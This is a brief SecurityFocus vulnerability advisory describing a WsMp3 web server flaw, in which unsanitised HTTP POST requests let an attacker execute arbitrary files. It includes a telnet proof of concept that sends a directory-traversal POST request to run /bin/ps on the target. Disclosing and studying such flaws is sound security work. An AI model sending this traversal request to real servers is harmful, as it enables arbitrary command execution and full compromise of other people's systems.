source: http://www.securityfocus.com/bid/7645/info

A vulnerability has been reported in WsMp3. The problem occurs due to insufficient sanitization of HTTP POST requests. As a result, an attacker may be capable of executing arbitrary files on a target system. This may lead to the complete compromise of a target system. 

bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
POST /dir/../../../../../../bin/ps HTTP/1.0 